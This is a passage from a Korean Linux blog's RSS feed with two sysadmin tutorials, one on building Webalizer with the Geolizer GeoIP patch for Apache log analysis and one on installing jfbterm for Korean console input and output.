재미있습니다. 나만 재밌나? ㅡ,.ㅡ&lt;br /&gt;&amp;nbsp;mod_geoip 모듈은 로그에 국가 정보만 기록하는 기능만 하는 것은 아닙니다. 국가 단위로 웹서버 접속을 제한할 수 있는 막강(?)한 기능도 갖고 있죠.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;여기까지 진행하였으면 이제 Webalizer 를 설치하기만 하면 됩니다. 오리지날 Webalizer 소스를 받아 여기에 Geolizer 패치를 가한 뒤 컴파일 설치하도록 합니다. /usr/local/src 디렉토리에 안에 아래 링크에서 최신버전을 받아 설치해 보도록 하겠습니다.&lt;br /&gt;&lt;A href=&quot;http://www.mrunix.net/webalizer/download.html&quot; target=_blank&gt;http://www.mrunix.net/webalizer/download.html&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src&lt;br /&gt;# wget ftp://ftp.mrunix.net/pub/webalizer/webalizer-2.01-10-src.tgz&lt;br /&gt;# tar xvfz webalizer-2.01-10-src.tgz&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Geolizer 패치는 아래 링크에서 받습니다.&lt;br /&gt;&lt;A href=&quot;http://sysd.org/stas/node/10&quot; target=_blank&gt;http://sysd.org/stas/node/10&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src&lt;br /&gt;# wget http://sysd.org/stas/files/active/0/geolizer_2.01-10-patch.20070115.tar.gz&lt;br /&gt;# tar xvfz geolizer_2.01-10-patch.20070115.tar.gz&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;Webalizer와 Geolizer 소스를 /usr/local/src 디렉토리에 나란히 압축 풀어 두고 패치를 합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src&lt;br /&gt;# patch -p0 &amp;lt; ./geolizer_2.01-10-patch/geolizer.patch&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;이제 패치된 webalizer를 컴파일 설치합니다. 한글모드로 설치해 보겠습니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src/webalizer-2.01-10&lt;br /&gt;# ./configure --prefix=/usr/local/webalizer --with-language=korean --with-geoip-inc=/usr/local/GeoIP/include --with-geoip-lib=/usr/local/GeoIP/lib&lt;br /&gt;# make&lt;br /&gt;# mkdir -p /usr/local/webalizer/bin /usr/local/webalizer/man/man1&lt;/DIV&gt;&lt;br /&gt;※ Geolizer로 패치된 Webalizer를 설치하는 방법을 소개하고 있는 웹상의 여러 메뉴얼들을 보면 configure 커맨드 뒤에 --enable-geoip 옵션을 주고 컴파일 환경 설정을 하는 법이 태반입니다. 하지만 Webalizer 2.01-10 에 geolizer_2.01-10-patch.20070115 을 패치하게 되면 이 옵션을 주고 컴파일 설치시 패치가 적용되지 않습니다.&lt;br /&gt;&amp;nbsp;예전 버전의 Geolizer 패치의 경우는 --enable-geoip 을 주어야 사용이 가능했지만 최근 버전으로 와서는 필요가 없어진 것 같네요. 아래 링크 참고 바랍니다.&lt;br /&gt;&lt;A href=&quot;http://sysd.org/stas/comment/reply/10/27823&quot; target=_blank&gt;http://sysd.org/stas/comment/reply/10/27823&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;그 다음 Makefile 파일을 편집기로 열어 24번째 줄 쯤에 있는 부분을 아래와 같이 수정합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;MANDIR = ${prefix}/man/man1&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;이제 설치합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# make install&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;설치가 끝났습니다. 이제 설정파일을 조금 수정하여 웹로그 분석을 하는 일만 남았습니다.&lt;br /&gt;&amp;nbsp;Webalizer의 실행파일 경로는 /usr/local/webalizer/bin/webalizer 입니다. 이 실행파일로 아파치 로그를 하나 골라 잡아 분석을 시도하면 되는 겁니다.&lt;br /&gt;&amp;nbsp;아파치를 소스로 설치하면 대개 /usr/local/apache/logs 디렉토리 안에 access_log 라는 파일명으로 로그파일이 위치하게 됩니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;실행파일을 돌리기에 앞서 access_log 파일을 분석하는 데엔 Webalizer 환경설정 파일이 필요합니다. 지금까지 소개한 내용대로 설치했다면 /etc 디렉토리 안에 webalizer.conf.sample이라는 샘플파일이 위치하게 됩니다. 이 샘플파일을 webalizer.conf라는 이름의 파일로 하나 복사해서 설정해 보도록 하겠습니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/etc/webalizer.conf 파일을 vi 편집기로 엽니다. 아래 소개하는 지시자들만 필요한 환경에 맞게끔 수정해서 쓰면 됩니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;▼ 아래 부분의 주석을 풀어 access_log 파일이 실제 위치하는 경로로 지정하면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#LogFile &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; /var/lib/httpd/logs/access_log&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 아래 지시자는 Webalizer로 분석하여 나온 결과가 담긴 내용의 html 파일 및 이미지 파일들이 위치하는 경로를 지정하는 역할을 합니다. 이 디렉토리 경로를 아파치의 가상호스트 설정에 추가해 넣어 도메인으로 웹접속을 해서 로그 결과를 확인할 수 있습니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#OutputDir &amp;nbsp; &amp;nbsp;&amp;nbsp; /var/lib/httpd/htdocs/usage&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 아래 지시자도 주석을 풀어 활성화시킵니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#HistoryName &amp;nbsp;&amp;nbsp; webalizer.hist&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 이 지시자는 주석을 풀어 on으로 변경하고 사용토록 합니다. 이렇게 하면 logrotate로 로그 파일의 크기를 나누어 관리하는 경우 현재의 로그 기록이 쪼개어 떨어져 나간 과거의 로그파일 시절에 분석된 데이터에 이어져 누적 기록됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#Incremental &amp;nbsp;&amp;nbsp; no&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 아래 지시자도 통상 활성화해서 사용합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#IncrementalName &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; webalizer.current&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ Webalizer를 웹에서 접근했을 때의 제목 출력을 담당하는 부분입니다.&amp;nbsp; 
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#ReportTitle &amp;nbsp;&amp;nbsp; Usage Statistics for&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 웹분석 화면에 자신의 도메인을 띄우기 위해서 이 옵션을 활성화하고 도메인을 입력하면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#HostName &amp;nbsp; &amp;nbsp; &amp;nbsp; localhost&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;▼ 설정파일 제일 하단 쪽을 보면 아래와 같은 지시자가 있습니다. 오리지날 Webalizer를 소스로 설치할 경우엔 없고 Geolizer 패치를 가하면 나타나는 지시자입니다. 주석을 풀고 사용하면 됩니다. GeoIP.dat 파일의 디렉토리 경로가 올바른지 확인합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#GeoIP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; yes&lt;br /&gt;#GeoIPDatabase&amp;nbsp; /usr/local/share/GeoIP/GeoIP.dat&lt;/DIV&gt;&lt;br /&gt;예)&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;TopCountries &amp;nbsp;&amp;nbsp; 300&lt;br /&gt;GeoIP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; yes&lt;br /&gt;GeoIPDatabase&amp;nbsp; /usr/local/GeoIP/share/GeoIP/GeoIP.dat&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;▼ 오리지날 Webalizer를 설치한 경우엔 필요없는 설정이나 Webalizer에 Geolizer 패치를 가했을 경우엔 Webalizer가 실행되면서 GeoIP 공유라이브러리인 /usr/local/lib/libGeoIP.so.1 파일을 호출하게 되는데 이 설정을 하지 않으면 공유라이브러리를 찾지 못해 아래와 같은 실행 에러가 납니다. 그래서... 
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;/usr/local/webalizer/bin/webalizer: error while loading shared libraries: libGeoIP.so.1: cannot open shared object file: No such file or directory&lt;/DIV&gt;&lt;br /&gt;
&lt;P&gt;&lt;br /&gt;/etc/cron.daily 디렉토리 안에 webalizer라는 이름의 스크립트용 파일을 만들고 안의 내용을 아래와 같이 작성합니다.&lt;br /&gt;export LD_LIBRARY_PATH=/usr/local/GeoIP/lib 구문을 통해 라이브러리를 호출하지 못하는 문제를 해결할 수 있습니다. 
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;#!/bin/bash&lt;br /&gt;export LD_LIBRARY_PATH=/usr/local/GeoIP/lib&lt;br /&gt;&amp;nbsp;&lt;br /&gt;/usr/local/webalizer/bin/webalizer -c /etc/webalizer.conf&lt;/DIV&gt;이렇게 /etc/cron.daily 디렉토리 안에 Webalizer 실행 스크립트를 넣어두고 /etc/crontab 파일에서 주기적으로 실행되도록 컨트롤하는 방법으로 웹로그 분석 데이터를 효율적으로 관리할 수 있습니다.&lt;br /&gt;&lt;br /&gt;위 스크립트 소스에 &#039;export LD_LIBRARY_PATH=/usr/local/GeoIP/lib&#039; 구문을 제외하고 실행할 수 있는 방법도 있습니다.&lt;br /&gt;/etc/ld.so.conf 파일 안에 아래 한 줄만 추가해 주면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;/usr/local/GeoIP/lib&lt;/DIV&gt;&lt;br /&gt;그 다음 아래 커맨드를 한 번 실행해 주면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# ldconfig&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;이렇게 한 뒤 스크립트 파일을 수동으로 실행해 보면 로그분석이 이루어지는 것을 확인할 수 있습니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# /etc/cron.daily/webalizer&lt;br /&gt;Webalizer V2.01-10-glzr (Linux 2.6.9-67.0.7.ELhugemem) Korean&lt;br /&gt;대상 로그 파일: /usr/local/apache/logs/access_log (clf)&lt;br /&gt;Using GeoIP database /usr/local/GeoIP/share/GeoIP/GeoIP.dat:&lt;br /&gt;GEO-106FREE 20080101 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved&lt;br /&gt;출력 디렉토리: /usr/local/apache/htdocs/weblog&lt;br /&gt;호스트명: &#039;digimoon.net&#039;&lt;br /&gt;기존 히스토리 정보 해석: webalizer.hist&lt;br /&gt;기존 통계 정보 해석: webalizer.current&lt;br /&gt;(이하 생략)&lt;br /&gt;&lt;/DIV&gt;
&lt;P&gt;&lt;br /&gt;&amp;nbsp;/etc/webalizer.conf 파일의 내용을 참고하여 분석데이터를 만듭니다. 이렇게 하면 OutputDir 지시자에 지정해 두었던 디렉토리 경로에 분석 데이터가 저장됩니다. 그런 다음 도메인으로 접속하면 이 경로가 웹페이지 파일로 출력되게끔 아파치 가상호스트 설정을 해 주면 됩니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;여기까지만 했으면 Webalizer 화면에 국가별 로그 기록이 출력되긴 하나 국가명만 나옵니다. 만국기 아이콘까지 설치해주려면 아래 링크에서 압축파일을 받아 압축을 풀고 로그분석 데이터가 저장되어 있는 경로에 flags 라는 이름의 디렉토리를 하나 만들어 그 안에 아이콘을 넣어 주면 됩니다.&lt;br /&gt;&lt;A href=&quot;http://flags.blogpotato.de/&quot; target=_blank&gt;http://flags.blogpotato.de/&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/attach/1/1035777721.gif&quot; alt=&quot;사용자 삽입 이미지&quot; height=&quot;539&quot; width=&quot;529&quot; /&gt;&lt;/div&gt;&lt;/P&gt;</description>
			<category>리눅스</category>
			<category>Apache</category>
			<category>geo</category>
			<category>geoip</category>
			<category>GeoIP C API</category>
			<category>geolizer</category>
			<category>log</category>
			<category>module</category>
			<category>mod_geoip module</category>
			<category>webalizer</category>
			<category>국가</category>
			<category>로그</category>
			<category>모듈</category>
			<category>분석</category>
			<category>아파치</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/315</guid>
			<comments>http://www.digimoon.net/blog/315#entry315comment</comments>
			<pubDate>Sat, 05 Jul 2008 11:40:14 +0900</pubDate>
		</item>
		<item>
			<title>콘솔에서 한글 입출력 가능케 하는 jfbterm 설치</title>
			<link>http://www.digimoon.net/blog/314</link>
			<description>&lt;FONT color=#0000ff&gt;작성자: 주인장 &lt;/FONT&gt;&lt;STRONG&gt;&lt;FONT color=#0000ff&gt;디지문&lt;/FONT&gt;&lt;br /&gt;&lt;/STRONG&gt;(&lt;A href=&quot;http://www.digimoon.net/&quot; target=_blank&gt;http://www.digimoon.net/&lt;/A&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;리눅스 콘솔 상에서 한글 입출력을 가능케 하는 방법에 대해 소개해 보고자 합니다.&lt;br /&gt;&amp;nbsp;jfbterm 이라는 패키지를 이용하는 방법입니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;관련링크: &lt;A href=&quot;http://hangul-jfbterm.kldp.net/install.html&quot; target=_blank&gt;http://hangul-jfbterm.kldp.net/install.html&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;KLDP를 비롯해서 인터넷에 관련 기술 문서들이 여럿 있기는 하지만 패키지 파일 링크가 깨진 곳도 있고 좀처럼 쉽게 기술된 문서도 흔치 않기에 삽질의 결과로 나름대로 쉽게 정리한 자료를 공개합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;CentOS 5.0 32bit 에 소스컴파일로 설치하는 방법입니다. 우선 패키지부터 구해야죠.&lt;br /&gt;( &lt;A href=&quot;http://kldp.net/frs/?group_id=463&quot; target=_blank&gt;http://kldp.net/frs/?group_id=463&lt;/A&gt;&amp;nbsp;)&lt;br /&gt;&lt;div class=&quot;imageblock left&quot; style=&quot;float: left; margin-right: 10px;&quot;&gt;&lt;a href=&quot;http://www.digimoon.net/blog/attachment/1001238595.gz&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/image/extension/gz.gif&quot; /&gt; jfbterm-0.4.7-7-han-3.5.tar.gz&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# wget &lt;A href=&quot;http://kldp.net/frs/download.php/4669/jfbterm-0.4.7-7-han-3.5.tar.gz&quot; target=_blank&gt;http://kldp.net/frs/download.php/4669/jfbterm-0.4.7-7-han-3.5.tar.gz&lt;/A&gt;&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;압축 풀고 난 뒤 아래와 같은 과정으로 설치합니다. 고대~로 따라 하기만 하면 됩니다.&lt;br /&gt;&amp;nbsp;소스 설치라고 해서 거부감 갖는 일은 없도록 합시다. 저는 개인적으로 소스 설치를 선호~ ㅎ&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# tar xzvf jfbterm-0.4.7-7-han-3.5.tar.gz&lt;br /&gt;# cd jfbterm-0.4.7-7-han-3.5/&lt;br /&gt;# ./configure --prefix=/usr&lt;br /&gt;# make&lt;br /&gt;# make install&lt;br /&gt;# cat termcap.jfbterm&amp;gt;&amp;gt; /etc/termcap&lt;br /&gt;# tic terminfo.jfbterm&lt;br /&gt;# cp jfbterm.conf.sample.han /usr/etc/jfbterm.conf&lt;br /&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;그 다음 시스템 부팅 시 프레임버퍼로 부팅할 수 있게 하기 위해 부트로더 환경설정 파일을 수정해 줘야 합니다.&lt;br /&gt;&amp;nbsp;대부분 grub를 부트로더로 많이들 쓰실 겁니다. /boot/grub/grub.conf 파일을 열어서 아래와 같이 수정합니다.&lt;br /&gt;&amp;nbsp;붉은색으로 표시한 부분이 추가 설정한 부분입니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;&lt;FONT color=#0000ff&gt;# grub.conf generated by anaconda&lt;br /&gt;#&lt;br /&gt;# Note that you do not have to rerun grub after making changes to this file&lt;br /&gt;# NOTICE:&amp;nbsp; You have a /boot partition.&amp;nbsp; This means that&lt;br /&gt;# &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; all kernel and initrd paths are relative to /boot/, eg.&lt;br /&gt;# &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; root (hd0,0)&lt;br /&gt;# &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; kernel /vmlinuz-version ro root=/dev/sda3&lt;br /&gt;# &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; initrd /initrd-version.img&lt;br /&gt;#boot=/dev/sda&lt;/FONT&gt;&lt;br /&gt;default=0&lt;br /&gt;timeout=5&lt;br /&gt;splashimage=(hd0,0)/grub/splash.xpm.gz&lt;br /&gt;hiddenmenu&lt;br /&gt;title CentOS (2.6.18-53.1.21.el5)&lt;br /&gt;&amp;nbsp; root (hd0,0)&lt;br /&gt;&amp;nbsp; kernel /vmlinuz-2.6.18-53.1.21.el5 ro root=LABEL=/ &lt;FONT color=#d41a01&gt;vga=771&lt;/FONT&gt; &lt;br /&gt;&amp;nbsp; initrd /initrd-2.6.18-53.1.21.el5.img&lt;br /&gt;title CentOS (2.6.18-53.el5)&lt;br /&gt;&amp;nbsp; root (hd0,0)&lt;br /&gt;&amp;nbsp; kernel /vmlinuz-2.6.18-53.el5 ro root=LABEL=/ &lt;FONT color=#d41a01&gt;vga=771&lt;/FONT&gt;&lt;br /&gt;&amp;nbsp; initrd /initrd-2.6.18-53.el5.img&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;위와 같이 설정하게 되면 콘솔 화면 해상도가 800x600 으로 변경됩니다. 기본값인 600 x 480 해상도에 비해 화면에 표시될 수 있는 텍스트의 수가 대폭 늘어나고 가독성도 좋아지더군요. 그리고 부팅 시 펭귄 이미지도 뜹니다. ^^&lt;br /&gt;&amp;nbsp;grub을 편집했으면 재부팅 한 번 해 주고 다음 작업으로 넘어가 봅시다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;다시 &lt;A href=&quot;http://kldp.net/frs/?group_id=463&quot; target=_blank&gt;http://kldp.net/frs/?group_id=463&lt;/A&gt;&amp;nbsp;&amp;lt;- 이 링크로 가 보면 친절하게도 이미 한글용 폰트 패키지가 제공되고 있음을 확인할 수 있습니다. /usr/etc/jfbterm.conf 파일을 편집하기에 앞서 /usr/share/fonts 디렉토리로 이동한 후 폰트 패키지를 다운로드하여 압축을 풀어 놓습니다.&lt;br /&gt;&lt;div class=&quot;imageblock left&quot; style=&quot;float: left; margin-right: 10px;&quot;&gt;&lt;a href=&quot;http://www.digimoon.net/blog/attachment/1068655754.gz&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/image/extension/gz.gif&quot; /&gt; jfbterm-font-pack-1.tar.gz&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/share/fonts&lt;br /&gt;# wget &lt;A href=&quot;http://kldp.net/frs/download.php/1242/jfbterm-font-pack-1.tar.gz&quot; target=_blank&gt;http://kldp.net/frs/download.php/1242/jfbterm-font-pack-1.tar.gz&lt;/A&gt;&lt;br /&gt;# tar xvfz jfbterm-font-pack-1.tar.gz&lt;br /&gt;# cd jfbterm-font-pack-1&lt;br /&gt;# ls -l&lt;br /&gt;&lt;br /&gt;-r--r--r-- 1 root root 141431 Jun 16 21:17 ieng_ihangul.pcf.gz&lt;br /&gt;-r--r--r-- 1 root root &amp;nbsp; 2222 Jun 16 21:17 ieng.pcf.gz&lt;br /&gt;-rw-r--r-- 1 root root&amp;nbsp; 33276 Jun 16 21:17 ihan_ksc.pcf.gz&lt;br /&gt;-rw-r--r-- 1 root root 812907 Jun 16 21:17 unifont.pcf.gz&lt;br /&gt;#&lt;br /&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;소스로 jfbterm 을 설치하게 되면 /usr/etc 디렉토리에 jfbterm.conf 파일이 위치하게 됩니다.&lt;br /&gt;&amp;nbsp;/usr/etc/jfbterm.conf 파일을 편집기로 열어봅니다.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;아래 링크를 참조하면 위 설정 파일의 내용을 어떻게 고칠 수 있는지 나와 있습니다.&lt;br /&gt;&lt;A href=&quot;http://hangul-jfbterm.kldp.net/install.html&quot; target=_blank&gt;http://hangul-jfbterm.kldp.net/install.html&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;fontset 이라는 지시자가 있는 곳의 폰트 경로를 적당히 수정하기만 하면 끝입니다.&lt;br /&gt;&amp;nbsp;/usr/share/fonts/jfbterm-font-pack-1 디렉토리에 넣어둔 폰트 파일로 지정하면 되는 것이죠.&lt;br /&gt;&amp;nbsp;붉은 색으로 표시된 부분과 동일하게 수정하면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;###############################################################################&lt;br /&gt;#&lt;br /&gt;# Font configuration&lt;br /&gt;# Absolute path or relative path to PWD&lt;br /&gt;#&lt;br /&gt;###############################################################################&lt;br /&gt;&lt;FONT color=#d41a01&gt;fontset : iso646-1973irv,pcf,L,/usr/share/fonts/jfbterm-font-pack-1/ieng.pcf.gz&lt;br /&gt;+fontset: ansix3.4-1968,alias,L,iso646-1973irv&lt;/FONT&gt;&lt;br /&gt;#+fontset: jisc6226-1978,pcf,L,/usr/X11R6/lib/X11/fonts/misc/jiskan16.pcf.gz&lt;br /&gt;#+fontset: jisx0208-1983,alias,L,jisc6226-1978&lt;br /&gt;#+fontset: jisc6220-1969roman,pcf,L,/usr/X11R6/lib/X11/fonts/misc/a18rk.pcf.gz&lt;br /&gt;#+fontset: jisc6220-1969kana,alias,R,jisc6220-1969roman&lt;br /&gt;#+fontset: jisx0212-1990,pcf,L,/usr/X11R6/lib/X11/fonts/misc/jksp16.pcf.gz&lt;br /&gt;#+fontset: gb2312-80,pcf,L,/usr/X11R6/lib/X11/fonts/misc/gb16fs.pcf.gz&lt;br /&gt;&lt;FONT color=#d41a01&gt;+fontset: ksc5601-1987,pcf,L,/usr/share/fonts/jfbterm-font-pack-1/ihan_ksc.pcf.gz&lt;/FONT&gt;&lt;br /&gt;#+fontset: iso8859.1-1987,pcf,R,/usr/share/fonts/jfbterm-font-pack-1/ieng_ihangul.pcf.gz&lt;br /&gt;#+fontset: iso8859.2-1987,pcf,R,/usr/X11R6/lib/X11/fonts/misc/lt2-16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.3-1988,pcf,R,/usr/X11R6/lib/X11/fonts/misc/lt3-16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.4-1988,pcf,R,/usr/X11R6/lib/X11/fonts/misc/lt4-16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.5-1988,pcf,R,/usr/X11R6/lib/X11/fonts/misc/cyr16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.7-1987,pcf,R,/usr/X11R6/lib/X11/fonts/misc/grk16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.8-1988,pcf,R,/usr/X11R6/lib/X11/fonts/misc/heb16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.9-1989,pcf,R,/usr/X11R6/lib/X11/fonts/misc/lt5-16-etl.pcf.gz&lt;br /&gt;#+fontset: iso8859.10-1992,pcf,R,/usr/X11R6/lib/X11/fonts/misc/8x13-ISO8859-10.pcf.gz&lt;br /&gt;#+fontset: iso8859.13-1998,pcf,R,/usr/X11R6/lib/X11/fonts/misc/8x13-ISO8859-13.pcf.gz&lt;br /&gt;#+fontset: iso8859.14-1998,pcf,R,/usr/X11R6/lib/X11/fonts/misc/8x13-ISO8859-14.pcf.gz&lt;br /&gt;#+fontset: iso8859.15-1999,pcf,R,/usr/X11R6/lib/X11/fonts/misc/8x13-ISO8859-15.pcf.gz&lt;br /&gt;&lt;FONT color=#d41a01&gt;+fontset: vt100-graphics,pcf,L,/usr/share/fonts/jfbterm/vt100-graphics.pcf.gz&lt;br /&gt;+fontset: iso10646.1,pcf,U,/usr/share/fonts/jfbterm-font-pack-1/unifont.pcf.gz&lt;/FONT&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;jfbterm 명령어로 이제 콘솔 상에서도 한글 입출력이 가능합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# jfbterm&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;한영모드 입력 전환은 &amp;lt;shift&amp;gt; + &amp;lt;space bar&amp;gt; 입니다.</description>
